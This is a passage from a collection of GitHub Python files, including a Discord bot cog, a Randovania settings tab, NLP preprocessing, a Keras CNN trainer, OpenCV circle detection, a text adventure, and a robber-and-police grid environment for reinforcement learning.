def undeafen(self, ctx, member: discord.Member):\n        \"\"\"\n        Undeafen an user audio.\n        \"\"\"\n        try:\n            await member.edit(deafen=False)\n        except discord.HTTPException:\n            await send_message(ctx, \"Member not connected to any voice chat.\")\n        else:\n            await send_message(ctx, f\"Undeafened {member.mention}.\")\n\n    @kick.error\n    @ban.error\n    @mute.error\n    @unmute.error\n    @deafen.error\n    @undeafen.error\n    async def member_error(self, ctx, error):\n        \"\"\"\n        Checks if member exists.\n        \"\"\"\n        if isinstance(error, commands.BadArgument):\n            await send_message(ctx, \"Unknown user.\")\n\n\ndef setup(client):\n    \"\"\"\n    Setup the Cog.\n    \"\"\"\n    client.add_cog(Users(client))\n","repo_name":"victorborneo/SatenBot","sub_path":"cogs/users.py","file_name":"users.py","file_ext":"py","file_size_in_byte":6547,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"}
+{"seq_id":"36674607756","text":"import typing\n\nfrom PySide6 import QtWidgets\n\nfrom randovania.game_description.game_description import GameDescription\nfrom randovania.games.prime1.layout.prime_configuration import LayoutCutsceneMode\nfrom randovania.gui.generated.preset_prime_qol_ui import Ui_PresetPrimeQol\nfrom randovania.gui.lib import signal_handling\nfrom randovania.gui.lib.window_manager import WindowManager\nfrom randovania.gui.preset_settings.preset_tab import PresetTab\nfrom randovania.interface_common.preset_editor import PresetEditor\nfrom randovania.layout.preset import Preset\n\n_FIELDS = [\n    \"warp_to_start\",\n    \"main_plaza_door\",\n    \"blue_save_doors\",\n    \"backwards_frigate\",\n    \"backwards_labs\",\n    \"backwards_upper_mines\",\n    \"backwards_lower_mines\",\n    \"phazon_elite_without_dynamo\",\n    \"spring_ball\",\n]\n\nclass PresetPrimeQol(PresetTab, Ui_PresetPrimeQol):\n    def __init__(self, editor: PresetEditor, game_description: GameDescription, window_manager: WindowManager):\n        super().__init__(editor, game_description, window_manager)\n        self.setupUi(self)\n\n        self.description_label.setText(self.description_label.text().replace(\"color:#0000ff;\", \"\"))\n\n        # Signals\n        self.cutscene_combo.setItemData(0, LayoutCutsceneMode.ORIGINAL)\n        self.cutscene_combo.setItemData(1, LayoutCutsceneMode.COMPETITIVE)\n        self.cutscene_combo.setItemData(2, LayoutCutsceneMode.MINOR)\n        self.cutscene_combo.setItemData(3, LayoutCutsceneMode.MAJOR)\n        signal_handling.on_combo(self.cutscene_combo, self._on_cutscene_changed)\n        for f in _FIELDS:\n            self._add_persist_option(getattr(self, f\"{f}_check\"), f)\n\n    @classmethod\n    def tab_title(cls) -> str:\n        return \"Quality of Life\"\n\n    @classmethod\n    def uses_patches_tab(cls) -> bool:\n        return True\n\n    def _add_persist_option(self, check: QtWidgets.QCheckBox, attribute_name: str):\n        def persist(value: bool):\n            with self._editor as editor:\n                editor.set_configuration_field(attribute_name, value)\n\n        signal_handling.on_checked(check, persist)\n\n    def _on_cutscene_changed(self, value: LayoutCutsceneMode):\n        with self._editor as editor:\n            editor.set_configuration_field(\"qol_cutscenes\", value)\n\n    def on_preset_changed(self, preset: Preset):\n        config = preset.configuration\n        for f in _FIELDS:\n            typing.cast(QtWidgets.QCheckBox, getattr(self, f\"{f}_check\")).setChecked(getattr(config, f))\n        signal_handling.set_combo_with_value(self.cutscene_combo, config.qol_cutscenes)\n","repo_name":"HighC914/randovania","sub_path":"randovania/games/prime1/gui/preset_settings/prime_patches_qol.py","file_name":"prime_patches_qol.py","file_ext":"py","file_size_in_byte":2555,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"21"}
+{"seq_id":"8266905790","text":"import os\nimport jieba\nimport time\nimport codecs\n\nfrom tensorflow.keras.utils import to_categorical\n\nfrom src.utils.utils import read_file, ensure_dir, save_pkl, load_pkl, get_time_idf\nfrom src.utils.config import config\nfrom src.utils.Enconde import TextEnconde\n\n\ndef build_vocab(texts, out_path):\n    vocab = TextEnconde()\n    for text in texts:\n        vocab.add_sentences(text)\n    vocab.trim(config.min_freq)\n\n    ensure_dir(out_path)\n\n    vocab_path = os.path.join(out_path, 'vocab.pkl')\n    vocab_txt = os.path.join(out_path, 'vocab.txt')\n\n    save_pkl(vocab_path, vocab, 'vocab')\n\n    with codecs.open(vocab_txt, 'w', encoding='utf-8') as f:\n        f.write(os.linesep.join([word for word in vocab.word2id.keys()]))\n\n    return vocab, vocab_txt\n\n\ndef get_data(datas):\n    entity_ones, entity_twos = [], []\n    texts, relations = [], []\n    pos = []\n    jieba.add_word('HEAD')\n    jieba.add_word('TAIL')\n    for data in datas:\n        all_datas = data.strip().split('\\t')\n        entity_one = all_datas[0]\n        entity_two = all_datas[1]\n        relation = all_datas[2]\n        text = all_datas[3]\n        if len(entity_two) < len(entity_one):\n            text = text.replace(entity_one, 'HEAD').replace(entity_two, 'TAIL')\n        else:\n            text = text.replace(entity_two, 'TAIL').replace(entity_one, 'HEAD')\n        text = jieba.lcut(text)\n\n        head_pos, tail_pos = text.index('HEAD'), text.index('TAIL')\n\n        text[head_pos] = entity_one\n        text[tail_pos] = entity_two\n\n        entity_ones.append(entity_one)\n        entity_twos.append(entity_two)\n        relations.append(relation)\n        texts.append(text)\n        pos.append([head_pos, tail_pos])\n\n    return entity_ones, entity_twos, relations, pos, texts\n\n\ndef get_pos_feature(sent_len, entities_pos, entity_len, pos_limit):\n    \"\"\"\n    获取位置编码\n    :param sent_len:\n    :param entities_pos:\n    :param entity_len:\n    :param pos_limit:\n    :return:\n    \"\"\"\n    left = list(range(-entities_pos, 0))\n    middle = [0] * entity_len\n    right = list(range(1, sent_len - entities_pos - entity_len + 1))\n    pos = left + middle + right\n\n    for i, p in enumerate(pos):\n        if p > pos_limit:\n            pos[i] = pos_limit\n        if p < -pos_limit:\n            pos[i] = -pos_limit\n    pos = [p + pos_limit + 1 for p in pos]\n\n    return pos\n\n\ndef get_mask_feature(sent_len, entities_pos):\n    \"\"\"\n    获取mask编码\n    :param sent_len:\n    :param entities_pos:\n    :return:\n    \"\"\"\n    left = [1] * (entities_pos[0] + 1)\n    middle = [2] * (entities_pos[1] - entities_pos[0] - 1)\n    right = [3] * (sent_len - entities_pos[1])\n    return left + middle + right\n\n\ndef build_data(datas, vocab):\n    sents = []\n    head_pos = []\n    tail_pos = []\n    mask_pos = []\n\n    entity_ones, entity_twos, pos, texts = datas\n    for i, sent in enumerate(texts):\n        text = [vocab.word2id.get(word, 0) for word in sent]\n        head, tail = int(pos[i][0]), int(pos[i][1])\n        entities_pos = [head, tail] if tail > head else [tail, head]\n        head_p = get_pos_feature(len(sent), head, 1, config.pos_limit)\n        tail_p = get_pos_feature(len(sent), tail, 1, config.pos_limit)\n        mask_p = get_mask_feature(len(sent), entities_pos)\n\n        sents.append(text)\n        head_pos.append(head_p)\n        tail_pos.append(tail_p)\n        mask_pos.append(mask_p)\n    return sents, head_pos, tail_pos, mask_pos\n\n\ndef get_relation2id(config):\n    path = os.path.join(config.data_path, 'relation2id.txt')\n    pkl_path = os.path.join(config.out_path, 'relation2id.pkl')\n    if os.path.exists(pkl_path):\n        relation2id = load_pkl(pkl_path, 'relation2id')\n    else:\n        relation2id = {}\n        with codecs.open(path, 'r', encoding='utf-8') as f:\n            for line in f.readlines():\n                lines = line.strip().split(' ')\n                relation2id[lines[0]] = int(lines[1])\n        save_pkl(pkl_path, relation2id, 'relation2id')\n    return relation2id\n\n\ndef relation_tokenize(config, relation):\n    relation2id = get_relation2id(config)\n    relations = []\n    for rel in relation:\n        relations.append(relation2id.get(rel, 0))\n    relations = to_categorical(relations, num_classes=config.relation_type, dtype='int32')\n    return relations\n\n\ndef process(config):\n    ensure_dir(config.out_path)\n\n    print('数据预处理开始')\n    start_time = time.time()\n\n    print('读取数据')\n    train_data = read_file(os.path.join(config.data_path, 'train.txt'))\n    test_data = read_file(os.path.join(config.data_path, 'test.txt'))\n\n    print('预处理数据')\n    train_entity_ones, train_entity_twos, train_relations, train_pos, train_texts = get_data(train_data)\n    test_entity_ones, test_entity_twos, test_relations, test_pos, test_texts = get_data(test_data)\n    train_data = [train_entity_ones, train_entity_twos, train_pos, train_texts]\n    test_data = [test_entity_ones, test_entity_twos, test_pos, test_texts]\n\n    all_texts = test_texts + train_texts\n\n    print('建立词表')\n    vocab, vocab_path = build_vocab(all_texts, config.out_path)\n\n    print('构建模型数据')\n    train_sents, train_head_pos, train_tail_pos, train_mask = build_data(train_data, vocab)\n    test_sents, test_head_pos, test_tail_pos, test_mask = build_data(test_data, vocab)\n\n    print('构建关系型数据')\n    train_relations_token = relation_tokenize(config, train_relations)\n    test_relations_token = relation_tokenize(config, test_relations)\n\n    train_data = (train_sents, train_head_pos, train_tail_pos, train_mask, train_relations_token)\n\n    test_data = (test_sents, test_head_pos, test_tail_pos, test_mask, test_relations_token)\n\n    train_data_path = os.path.join(config.out_path, 'train.pkl')\n    test_data_path = os.path.join(config.out_path, 'test.pkl')\n\n    save_pkl(train_data_path, train_data, 'train_data')\n    save_pkl(test_data_path, test_data, 'test_data')\n\n    end_time = get_time_idf(start_time)\n    print(f'数据预处理结束, 用时{end_time}')\n\n\nif __name__ == '__main__':\n    process(config)\n\n\n\n\n\n\n","repo_name":"qq1065507891/tf2_nre","sub_path":"src/utils/process.py","file_name":"process.py","file_ext":"py","file_size_in_byte":6030,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"35275226620","text":"from game.Dice import Dice\nimport Language\n\npage_dialog = Language.dialogs[\"dungeon_crawler\"][\"classes\"][\"game\"][\"character\"]\n\nclass Character:\n\n    def __init__(self, name, maxHealth, force, gold, armor=0):\n        self.name = name\n        self.health = maxHealth\n        self.maxHealth = maxHealth\n        self.force = force\n        self.gold = gold\n        self.armor = armor\n\n    def fight(self, other):\n        attackRoll = Dice().get_value()\n        defenseRoll = Dice().get_value()\n\n        if defenseRoll > attackRoll:\n            print(page_dialog[\"defense_sup_attaque\"] % (self.name, other.name, other.name))\n\n        elif attackRoll == defenseRoll:\n            print(page_dialog[\"defense_equal_attaque\"] % (self.name, other.name))\n            otherDammages = max(0, (self.force / 2) - (other.armor / 10))\n            selfDammages = max(0, (other.force / 2) - (self.armor / 10))\n            other.health -= otherDammages\n            self.health -= selfDammages\n            displayLifePointsLost(self.name, selfDammages)\n            displayLifePointsLost(other.name, otherDammages)\n        else:\n            print(page_dialog[\"defense_inf_attaque\"] % (self.name, other.name))\n            otherDammages = max(0, self.force - (other.armor / 10))\n            other.health -= otherDammages\n            displayLifePointsLost(other.name, otherDammages)\n\n\ndef displayLifePointsLost(characterHealth, pointsLost):\n    print(page_dialog[\"lose_hp\"] % (characterHealth, pointsLost), end=\"\\n\\n\")\n","repo_name":"reda-maizate/projet-python","sub_path":"characters/character.py","file_name":"character.py","file_ext":"py","file_size_in_byte":1492,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"31264261686","text":"''' https://www.acmicpc.net/problem/2753\t    윤년\t\t      \n문제\n연도가 주어졌을 때, 윤년이면 1, 아니면 0을 출력하는 프로그램을 작성하시오. \n윤년은 연도가 4의 배수이면서, 100의 배수가 아닐 때 또는 400의 배수일 때이다.\n\nex )2012년은 4의 배수O  100의 배수X 윤년O \n1900년 100의 배수 O 400의 배수X -> 윤년X   2000년 400의 배수 -> 윤년O\n\n입력\n첫째 줄에 연도가 주어진다. 연도는 1보다 크거나 같고, 4000보다 작거나 같은 자연수이다.\n\n출력\n첫째 줄에 윤년이면 1, 아니면 0을 출력한다.\n\n예제 입력 1 \n2000\n예제 출력 1 \n1\n예제 입력 2 \n1999\n예제 출력 2 \n0\n\n\n'''\ndef judge(luna) :\n    if (luna%4==0 and  luna % 100 !=0) or luna % 400 ==0: return 1    \n    return 0\n\nluna = int(input())\n\nprint(judge(luna))\n","repo_name":"2023cote/2022cote_eunseo","sub_path":"implementation/02_2753.py","file_name":"02_2753.py","file_ext":"py","file_size_in_byte":843,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"21963110640","text":"from util import *\n\n\ndef define_model(conv_layer_count: int, inflation_type: str, conv_kernel_size: int) -> tf.keras.Model:\n    \"\"\"\n    define and compile a keras model based on the given parameters\n    :param conv_layer_count: number of convolutional layers, including input layer\n    :param inflation_type: the distribution of neurons over the model: one of\n        'inflating': starting with 4 neurons in input layer, every subsequent layer has 4 additional neurons\n        'deflating': every subsequent layer has 4 neurons less than the preceding layer, ending with 4 neurons in the\n                     layer immediately before the final dense layer\n        the final dense layer always has 1 neuron.\n    :param conv_kernel_size: size of the kernel of all convolutional layers\n    :return: the compiled model\n    \"\"\"\n\n    filter_count = 4 if inflation_type == \"deflating\" else 1\n\n    # model definition\n    model = tf.keras.models.Sequential()\n\n    if conv_layer_count > 0:\n\n        # input layer\n        model.add(tf.keras.layers.Conv2D(filters=filter_count, kernel_size=conv_kernel_size,\n                                         input_shape=(cnn_input_grid_size, cnn_input_grid_size, 1), activation=\"relu\"))\n\n        # hidden layers\n        for _ in range(conv_layer_count - 1):\n            # update filter count according to mode\n            filter_count = filter_count // 2 if inflation_type == \"deflating\" else filter_count * 2\n            # add additional conv layer\n            model.add(tf.keras.layers.Conv2D(filters=filter_count, kernel_size=conv_kernel_size, activation=\"relu\"))\n\n        model.add(tf.keras.layers.Flatten())\n\n    else:\n        # input layer\n        model.add(tf.keras.layers.Flatten(input_shape=(cnn_input_grid_size, cnn_input_grid_size, 1)))\n\n    # last hidden layer\n    model.add(tf.keras.layers.Dense(4 if inflation_type == \"deflating\" else 16, activation=\"relu\"))\n\n    # output layer\n    model.add(tf.keras.layers.Dense(1))\n\n    # compile model and print structural info\n    model.compile(loss=loss_function, optimizer=optimizer_choice, metrics=[loss_function])\n    model.summary()\n\n    return model\n\n\ndef train_model(model: tf.keras.Model, basepath: str) -> tf.keras.Model:\n    \"\"\"\n    trains the given model with early stopping, saving tensorboard logs in the given directory\n    :param model: the model to train\n    :param basepath: directory to save the tensorboard logs and the checkpoints in\n    :return: the trained model\n    \"\"\"\n\n    run_logdir = os.path.abspath(os.path.join(basepath, \"logs\"))\n    # initialize tensorboard with log directory\n    tensorboard_cb = tf.keras.callbacks.TensorBoard(run_logdir, histogram_freq=1)\n\n    # define early stopping and checkpointing callbacks\n    es = tf.keras.callbacks.EarlyStopping(monitor='val_loss', mode='min', verbose=1, patience=early_stopping_patience)\n    checkpoint_filepath = os.path.abspath(os.path.join(basepath, 'best_model.h5'))\n    mc = tf.keras.callbacks.ModelCheckpoint(\n        checkpoint_filepath,\n        monitor='val_loss', mode='min', verbose=1, save_weights_only=True, save_best_only=True\n    )\n\n    # prepare train and evaluation data generators\n    training_dataset = get_dataset(os.path.join(tfrecord_basepath, TRAIN_VAL_TEST_DESCRIPTORS[0]), batch_size)\n    validation_dataset = get_dataset(os.path.join(tfrecord_basepath, TRAIN_VAL_TEST_DESCRIPTORS[1]), batch_size)\n\n    # train the model\n    model.fit(x=training_dataset, validation_data=validation_dataset, epochs=epochs,\n              steps_per_epoch=train_dataset_size, validation_steps=val_dataset_size,\n              callbacks=[tensorboard_cb, es, mc])\n\n    # restore weights of best checkpoint\n    model.load_weights(checkpoint_filepath)\n\n    return model\n\n\ndef train_one_model_variant(conv_layer_count, inflation_type, conv_kernel_size):\n    \"\"\"\n    creates a model based on teh given parameters and trains it, saving it to disk\n    :param conv_layer_count: number of convolutional layers\n    :param inflation_type: the distribution of neurons over the model: one of\n        'inflating': starting with 4 neurons in input layer, every subsequent layer has 4 additional neurons\n        'deflating': every subsequent layer has 4 neurons less than the preceding layer, ending with 4 neurons in the\n                     layer immediately before the final dense layer\n        the final dense layer always has 1 neuron.\n    :param conv_kernel_size: size of the kernel of all convolutional layers\n    :return: nothing, modifies filesystem\n    \"\"\"\n    print(\"\\n\\n\\ntraining model '{}_conv_layers_{}_kernel_size_{}'\\n\\n\\n\".format(\n        conv_layer_count, inflation_type, conv_kernel_size\n    ))\n    # define teh model\n    current_model = define_model(conv_layer_count, inflation_type, conv_kernel_size)\n    # prepare path to save model and logs/plots\n    current_basepath = os.path.abspath(\n        \"./models/conv/{}_conv_layers_{}_kernel_size_{}\".format(\n            conv_layer_count, inflation_type, conv_kernel_size\n        )\n    )\n    # train the model\n    current_model = train_model(current_model, current_basepath)\n    # save the model to disk for deployment\n    current_model.save(os.path.abspath(os.path.join(current_basepath, \"model\")), include_optimizer=False)\n\n\nconv_layer_counts = [2, 1, 0]\nconv_kernel_sizes = [7, 3]\ninflation_types = [\"inflating\", \"deflating\"]\n\nif __name__ == \"__main__\":\n    # load train data characteristics\n    with open(\n            os.path.join(tfrecord_basepath, TRAIN_VAL_TEST_DESCRIPTORS[0]) + \"characteristics.txt\", \"r\"\n    ) as input_file:\n        train_dataset_size = int(input_file.readline().split(\" \")[0])\n        print(\"size of training set: {} samples\".format(train_dataset_size))\n        max_grid_size = int(input_file.readline().split(\" \")[0])\n        print(\"maximum occurring BB size: {}x{}\".format(max_grid_size, max_grid_size))\n\n    # load validation data characteristics\n    with open(\n            os.path.join(tfrecord_basepath, TRAIN_VAL_TEST_DESCRIPTORS[1]) + \"characteristics.txt\", \"r\"\n    ) as input_file:\n        val_dataset_size = int(input_file.readline().split(\" \")[0])\n        print(\"size of validation set: {} samples\".format(val_dataset_size))\n\n    # HPO loop (grid search over few points because of long runtime)\n    for current_conv_layer_count in conv_layer_counts:\n        for current_inflation_type in inflation_types:\n            if current_conv_layer_count > 0:\n                for current_conv_kernel_size in conv_kernel_sizes:\n                    train_one_model_variant(current_conv_layer_count, current_inflation_type, current_conv_kernel_size)\n            else:\n                train_one_model_variant(current_conv_layer_count, current_inflation_type, -1)\n\n","repo_name":"TrellixVulnTeam/Bachelor_Arbeit_TD4S","sub_path":"NeuronalNetworks/combined_project/train_model_conv.py","file_name":"train_model_conv.py","file_ext":"py","file_size_in_byte":6699,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"27710779937","text":"from fletcherfiltering.common.data_generation.BaseGenerator import BaseGenerator\nimport lipsum\nfrom fletcherfiltering import settings\nimport random\n\nclass SentenceGenerator(BaseGenerator):\n\n    def generate(self, maxlength: int = settings.VAR_LENGTH) -> str:\n        if random.random() < settings.EMPTYSTRINGPROBABILITY:\n            return \"\"\n        sentence = lipsum.generate_sentences(1)\n        if len(sentence) > maxlength:\n            indexes = [pos for pos, char in enumerate(sentence) if char == ' ' and pos < maxlength]\n            if len(indexes) == 0:\n                sentence = sentence[:maxlength]\n            else:\n                sentence = sentence[:indexes[-1]]\n        return sentence\n","repo_name":"abs-tudelft/FletcherFiltering","sub_path":"src/fletcherfiltering/common/data_generation/SentenceGenerator.py","file_name":"SentenceGenerator.py","file_ext":"py","file_size_in_byte":703,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"35597905490","text":"import cv2\nimport numpy as np\nfrom collections import deque\nimport tkinter as tk\nfrom tkinter import *\nimport time\nimport math\n\nyellowLower=(29,127,121)\nyellowHigher=(179,255,255)\n\ndef isclose(a,b,maxi):\n    if a <= b+maxi and a>=b-maxi:\n        return True\n    else:\n        return False\n\ncap = cv2.VideoCapture(\"data/video2.webm\")\ncircles = []\n\n#inimg = cv2.imread(\"data/salle2.jpg\")\n\n#h = int(inimg.shape[0]/2)\n#w = int(inimg.shape[1]/2)\n#dim = (w,h)\n\n#inimg = cv2.resize(inimg,dim,interpolation=cv2.INTER_AREA)\n\nprevCenter = (0,0)\n\nwhile True:\n\n    ret, inimg = cap.read()\n    if not ret:\n        print(\"error reading video\")\n        break\n\n    ############################ Circles detection\n\n    # Convert to grayscale.\n    gray = cv2.cvtColor(inimg, cv2.COLOR_BGR2GRAY)\n    # Blur using 3 * 3 kernel.\n    gray_blurred = cv2.blur(gray, (3, 3))\n    detected_circles = cv2.HoughCircles(gray_blurred, cv2.HOUGH_GRADIENT, 1, 20, param1 = 50, param2 = 30, minRadius = 1, maxRadius = 40)\n\n    # only proceed if at least one circle was found\n    if detected_circles is not None:\n        # Convert the circle parameters a, b and r to integers.\n        detected_circles = np.uint16(np.around(detected_circles))\n        # store the circles in an array for later\n        for pt in detected_circles[0, :]:\n            a, b, r = pt[0], pt[1], pt[2]\n            cv2.circle(inimg, (a, b), r, (0, 255, 0), 2)\n    \n    cv2.imshow(\"circles\",inimg)\n    #time.sleep(0.03)\n\n    if cv2.waitKey(1) & 0xFF == ord('q'):\n        break\n\ncap.release()\ncv2.destroyAllWindows()","repo_name":"Theophile-Wemaere/ball_tracking_cv2","sub_path":"circle_detection.py","file_name":"circle_detection.py","file_ext":"py","file_size_in_byte":1552,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"23936623762","text":"'''\nCreated on Jan 6, 2016\n\n@author: T0157129\n'''\nimport logging\nimport logging.config\n\n\nfrom Characters.Player import Player\nfrom Prefabs.WorldItems import WorldItems\nfrom Prefabs.EnemyGenerator import EnemyGenerator\nfrom Printer import Printer\nfrom Stories.Story import Story\n\nfrom Utilities import XmlParser as xmlp\nfrom Utilities import UserInteract as ui\nfrom Utilities import Caster as cast\n\n\nimport xml.dom.minidom as minidom\n\n\nclass Game:\n    '''\n    This class represents the whole game.\n     \n    '''\n\n\n    def __init__(self):\n        '''\n        Constructor\n        '''\n#         logging.basicConfig(level=logging.DEBUG, disable_existing_loggers=False)\n#         self.logger = logging.getLogger(__name__)\n        \n        self.gameOver= False\n        \n        \n        self.printer=Printer(self)\n        \n        self.WI= WorldItems()\n        \n        self.player = self.__initPlayer()\n        \n        \n        # Enemies\n        self.EG = EnemyGenerator(self.WI)\n        \n        self.currentEnemy= \"\"\n        \n        \n        self.story = Story( self)\n    \n        self.printer.intro(self.player)\n        self.player.listInventory()\n        raw_input()\n        \n        self.nbTurn = 0\n        \n        print(\"##################################################\")\n        print(\"                THE GAME BEGINS\")\n        print(\"##################################################\")\n        \n        self.nextEvent = self.story.goToEvent(\"intro\")\n        \n        \n    '''\n    void onTurn()\n    '''    \n    def onTurn(self):\n        self.nbTurn = self.nbTurn +1\n        \n        self.nextEvent = self.story.goToEvent(self.nextEvent)\n                \n        \n        \n    '''\n    boolean onGame()\n        Return true while the player isn't dead.\n    '''       \n    def onGame(self):\n        return self.player.isAlive() and self.nbTurn<20\n    \n    \n    def endGame(self):\n        print(\"##################################################\")\n        print(\"                 THE GAME ENDS\")\n        print(\"##################################################\")\n        self.gameOver= True\n        \n    def isGameOver(self):\n        return self.gameOver\n    \n    \n    '''\n        Return a player object.\n    '''\n    def __initPlayer(self):\n        \n        dictMode={} #will contains all information about each game mode\n        file = minidom.parse(\"./XML_Files/InitPlayer.xml\")\n        modes = file.getElementsByTagName(\"DifficultyMode\")\n        for mode in modes:\n            data= xmlp.parseAttributes(mode)             \n            dictMode[data.get('id')]= data\n        \n        #Ask the player which mode does he wants to play\n        ToPrint=\"Difficulty Modes: \"\n        for mode in dictMode.keys():\n            ToPrint= ToPrint + ' ' + mode\n        \n        print(ToPrint)\n        \n        #Parse the user input\n        userMode = ui.userIput(\"Which mode do you want to play? \", dictMode.keys())\n        SelectedMode = dictMode[userMode]\n        \n        ## Parse the mode's parameters\n        player = Player(SelectedMode.get('hp'))\n        \n        armorName =SelectedMode.get('armor') \n        if armorName is None:\n            player.equipArmor(self.WI.getArmorByCategory(\"basic\"))\n        else:\n            player.equipArmor(self.WI.getArmor(armorName))\n            \n        weaponName = SelectedMode.get('weapon')\n        if weaponName is None:\n            player.equipWeapon(self.WI.getWeaponByCategory(\"basic\"))\n        else:\n            player.equipWeapon(self.WI.getWeapon(weaponName))\n            \n        potion = self.WI.getPotionByCategory(\"HP\")\n        if SelectedMode.get('potion') is not None:\n            if cast.strToBool(SelectedMode.get('potion')):  \n                potion.fill()\n        player.addToBag(potion)\n        \n        return player","repo_name":"vyrval/GYATH","sub_path":"Game.py","file_name":"Game.py","file_ext":"py","file_size_in_byte":3778,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"37159063307","text":"''' Class for Bank environment. '''\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom IPython import display\nfrom random import choice\nimport time\nfrom copy import deepcopy\nfrom itertools import product\n\n# Some colours\nLIGHT_RED = '#FFC4CC'\nLIGHT_GREEN = '#95FD99'\nBLACK = '#000000'\nWHITE = '#FFFFFF'\nLIGHT_PURPLE = '#E8D0FF'\nLIGHT_ORANGE = '#FAE0C3'\n\n\nclass Bank:\n\n    # Actions\n    STAY       = 0\n    MOVE_LEFT  = 1\n    MOVE_RIGHT = 2\n    MOVE_UP    = 3\n    MOVE_DOWN  = 4\n\n    # Give names to actions\n    actions_names = {\n        STAY: \"stay\",\n        MOVE_LEFT: \"move left\",\n        MOVE_RIGHT: \"move right\",\n        MOVE_UP: \"move up\",\n        MOVE_DOWN: \"move down\"\n    }\n\n    # Reward values\n    IN_BANK_REWARD    = 1\n    IMPOSSIBLE_REWARD = -100\n    CAUGHT_REWARD     = -10\n\n\n    def __init__(self, grid):\n        \"\"\" Constructor of the environment Bank (and town).\n        \"\"\"\n        # Town attributes\n        self.grid              = grid\n        self.start             = tuple(np.argwhere(grid == 1).reshape(1,-1)[0])\n        self.money             = tuple(np.argwhere(grid == 3).reshape(1, -1)[0])\n        self.coords            = [(x, y) for x, y in np.ndindex(self.grid.shape)]\n        # Robber attributes\n        self.caught            = False\n        self.actions           = self.__actions()\n        self.n_actions         = len(self.actions)\n        self.id2states, self.states2id = self.__states()\n        self.n_states          = len(self.id2states)\n        # Police attributes\n        self.e_start           = tuple(np.argwhere(grid == 2).reshape(1, -1)[0])\n        self.e_actions         = self.__enemyActions()\n        self.e_id2states, self.e_states2id = self.__enemyStates()\n        self.e_n_states        = len(self.e_id2states)\n        # Joint states\n        self.id2jointStates, self.jointStates2id = self.__jointStates()\n        self.n_jointStates     = len(self.id2jointStates)\n        # We are oblivious to the good / bad states at first\n        # Losing states are those when player pos == police pos\n        self.losingStates      = self.__losingStates()\n        self.winningStates     = []\n\n    def __actions(self):\n        actions = dict()\n        actions[self.STAY]       = (0, 0)\n        actions[self.MOVE_LEFT]  = (0,-1)\n        actions[self.MOVE_RIGHT] = (0, 1)\n        actions[self.MOVE_UP]    = (-1,0)\n        actions[self.MOVE_DOWN]  = (1,0)\n        return actions\n\n    def __states(self):\n        coords    = [(i, (x, y)) for i, (x, y) in enumerate(np.ndindex(self.grid.shape))]\n        # Mapping from index state to x,y coordinates\n        id2states = dict([(i, s) for i, s in (coords)])\n        # Invert mapping from coordinates to index\n        states2id = {v: k for k, v in id2states.items()}\n        return id2states, states2id\n\n    def __losingStates(self):\n        # Get indexes of states that are at the same position\n        idx = set([i for i, A in enumerate(\n            self.id2jointStates.values()) if A[0] == A[1]])\n        return idx\n\n    def __enemyStates(self):\n        id2states = dict([(i, s) for i, s in enumerate(self.coords)])\n        states2id = {v: k for k, v in id2states.items()}\n        return id2states, states2id\n    \n    def __enemyActions(self):\n        e_actions = deepcopy(self.actions)\n        # Enemy not allowed to stay\n        del e_actions[0]\n        return e_actions\n\n    def __e_possibleMoves(self, position):\n        possible_act = []\n        for idx, action in self.e_actions.items():\n            row = position[0] + action[0]\n            col = position[1] + action[1]\n            hitting_maze_walls = (row == -1) or (row == self.grid.shape[0]) or \\\n                                (col == -1) or (col == self.grid.shape[1])\n            if not hitting_maze_walls:\n                possible_act.append(idx)\n        return possible_act\n\n    def __jointStates(self):\n        id2jointStates = dict([(i, s) for i, s in \\\n            enumerate(product(self.states2id.keys(), self.e_states2id.keys()))])\n        jointStates2id = {v: k for k, v in id2jointStates.items()}\n        # [(a,b) for a, b in product(self.id2states.keys(), self.e_id2states.keys())]\n        return id2jointStates, jointStates2id\n\n    def __move(self, state, action=None):\n        \"\"\" Makes a step in the grid, given a current position and an action.\n            If the action STAY or an inadmissible action is used, the agent stays in place.\n            :return tuple next_cell: Position (x,y) on the grid that agent transitions to.\n        \"\"\"\n        # Random action\n        if action == None:\n            action  = choice(list(self.actions.keys()))\n        # Compute the future position given current (state, action)\n        row = state[0] + self.actions[action][0]\n        col = state[1] + self.actions[action][1]\n        # Is the future position an impossible one ?\n        hitting_maze_walls =  (row == -1) or (row == self.grid.shape[0]) or \\\n                              (col == -1) or (col == self.grid.shape[1])\n        # Return both (x,y) and index state\n        if hitting_maze_walls:\n            return state, self.states2id[state]\n        else:\n            return (row, col), self.states2id[(row, col)]\n\n    def __e_move(self, state, action=None):\n        \"\"\" Makes a step in the grid, given a current position and an action.\n            If the action STAY or an inadmissible action is used, the agent stays in place.\n            :return tuple next_cell: Position (x,y) on the grid that agent transitions to.\n        \"\"\"\n        # Random action\n        if action == None:\n            action  = choice(list(self.e_actions.keys()))\n        # Compute the future position given current (state, action)\n        row = state[0] + self.e_actions[action][0]\n        col = state[1] + self.e_actions[action][1]\n        # Is the future position an impossible one ?\n        outside_maze = (row == -1) or (row == self.grid.shape[0]) or \\\n            (col == -1) or (col == self.grid.shape[1])\n        # Based on the impossiblity check return the next state.\n        while outside_maze:\n            # The enemy cannot choose a wrong position. Try another one.\n            action  = choice(list(self.e_actions.keys()))\n            row = state[0] + self.e_actions[action][0]\n            col = state[1] + self.e_actions[action][1]\n            outside_maze = (row == -1) or (row == self.grid.shape[0]) or \\\n                (col == -1) or (col == self.grid.shape[1])\n        # return np.ravel_multi_index((row, col), dims=self.grid.shape)\n        return (row, col), self.e_states2id[(row, col)]\n\n\n    def simulate(self, policy, tlimit, player=None, police=None):\n\n        path, path_enemy = [], []\n        t = 0\n\n        if player == None:\n            s, _   = self.start, self.states2id[self.start]\n        else:\n            s, _ = player, 